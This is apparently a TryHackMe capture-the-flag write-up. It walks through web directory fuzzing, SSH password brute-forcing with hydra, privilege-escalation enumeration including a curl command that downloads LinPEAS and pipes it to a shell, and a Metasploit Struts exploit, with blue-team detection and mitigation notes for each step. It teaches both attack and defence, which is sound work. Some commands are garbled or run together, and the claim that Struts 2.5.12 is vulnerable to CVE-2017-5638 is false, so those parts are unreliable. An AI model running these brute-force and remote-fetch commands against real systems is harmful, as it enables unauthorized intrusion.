

Web Recon & SSH Brute-Force

TryHackMe CTF Writeup | Red Team + Blue Team Perspective

Target IP	10.113.134.106 / 10.114.131.29
Attack Surface	HTTP (port 80), SSH (port 22)
Tools Used	gobuster, hydra, curl, nikto
Key Finding	Weak credential on user "j__" via /etc/shadow hint

STEP 1 — Directory Enumeration (gobuster)

Brute-force hidden directories on the web server using a wordlist.

```
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt
```

Key results:

Path	Status	Meaning
/development	301	Hidden directory — follow redirect
/.htaccess	403	Exists but forbidden
/server-status	403	Apache status page, restricted

■ Blue Team Detection

Web server logs show rapid sequential GET requests to non-existent paths from a single IP — classic directory fuzzing pattern. Tools like Fail2Ban or a WAF will flag this.

■ Mitigation

Rate-limit requests per IP. Deploy a WAF (ModSecurity). Remove or password-protect sensitive directories. Return identical 404 responses for all missing paths to defeat size-based detection.

STEP 2 — Intel Gathering (/development/ contents)

Visiting /development/ revealed two notes left by users J and K, leaking critical intel:

Finding	Implication
User J has a weak, crackable password	Prime brute-force target
User K audited /etc/shadow	Confirms password hashes are accessible
Apache Struts 2.5.12 in use	Vulnerable to CVE-2017-5638 (Equifax exploit)
SMB configured on server	Additional attack surface

■ Blue Team Detection

Monitor public web directories for plaintext notes/logs. SIEM alerts on access to files containing keywords like 'password', 'shadow', 'credentials'.

■ Mitigation

Never leave notes, changelogs, or config files in web-accessible directories. Use .gitignore and web server rules to block access to internal files.

STEP 3 — Username Enumeration

Notes revealed two users: J and K (3-letter usernames). Filter wordlist to only J names to reduce attack time:

```
grep -i "^j" /usr/share/dirb/wordlists/others/names.txt > j_names.txt
```

Also generate capitalized variants (Linux usernames are almost always lowercase):

```
awk '{print toupper(substr($0,1,1)) tolower(substr($0,2))}' j_names.txt >> j_names.txt sort -u  
j_names.txt -o j_names.txt
```

■ Blue Team Detection

Enumeration itself leaves no direct log. However, subsequent failed logins reveal the username list being tried. Monitor auth.log for sequential unknown-username failures.

■ Mitigation

Implement generic error messages ('invalid credentials' not 'user not found'). Enforce consistent response times to prevent timing-based enumeration.

STEP 4 — SSH Brute-Force (hydra)

With a filtered username list and rockyou.txt, brute-force SSH:

```
hydra -L j_names.txt -P /usr/share/wordlists/rockyou.txt ssh://TARGET -t 4 -e nsr
```

-L j_names.txt	Username wordlist (filtered to J names)
-P rockyou.txt	14M password wordlist
-t 4	4 parallel threads (avoids lockout)
-e nsr	Also try: blank pass, username=pass, reversed username

■ Blue Team Detection

auth.log shows hundreds of failed SSH attempts in seconds. Fail2Ban triggers on >5 failures/minute. SIEM correlation: same source IP, multiple usernames, rapid cadence.

■ Mitigation

Install Fail2Ban (ban after 5 failures). Disable password auth — use SSH keys only. Change SSH to non-standard port. Use AllowUsers in sshd_config to whitelist accounts.

STEP 5 — Privilege Escalation Enumeration

Once SSH'd in as J, immediately enumerate privesc vectors:

<code>sudo -l</code>	Check sudo permissions — most common THM privesc
<code>find / -perm -u=s -type f 2>/dev/null</code>	Find SUID binaries running as root
<code>cat /etc/crontab</code>	Check for writable cron jobs
<code>ps aux</code>	Running processes — look for root services

Automated: run LinPEAS for comprehensive enumeration:

```
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

■ Blue Team Detection

■ Mitigation

SIEM/EDR detects: `sudo -l` run by low-priv user, find with `-perm` flags, `curl` piped to `sh` (fileless execution). Auditd rules can flag these exact commands.

Apply principle of least privilege — no unnecessary `sudo` rights. Remove SUID from non-essential binaries. Monitor `/tmp` and `/dev/shm` for script drops. Use `auditd`.

BONUS — Apache Struts 2.5.12 (CVE-2017-5638)

The dev notes mention Struts 2.5.12 — this is the exact version exploited in the 2017 Equifax breach. It allows unauthenticated Remote Code Execution via a malformed Content-Type header.

```
searchsploit struts 2.5.12 msfconsole > use exploit/multi/http/struts2_content_type_ognl
```

■ Blue Team Detection

WAF/IDS signatures detect malformed Content-Type headers containing OGNL expressions. Network logs show unusual HTTP responses (e.g. command output in body).

■ Mitigation

Patch immediately — upgrade to Struts 2.5.13+. Block OGNL injection patterns at WAF. Disable unused REST plugin. Run web apps as non-root user.

ATTACK CHAIN SUMMARY

#	Phase	Tool	Result
1	Directory Enum	gobuster	Found <code>/development/</code>
2	Intel Gathering	browser/curl	Username J & K, weak password hint
3	Username Filter	grep/awk	Narrowed to J-names only
4	SSH Brute-Force	hydra	Valid credentials for user J
5	Privesc Enum	<code>sudo -l</code> , <code>find</code> , LinPEAS	Identify root escalation path
B	Bonus CVE	searchsploit/msf	RCE via Struts 2.5.12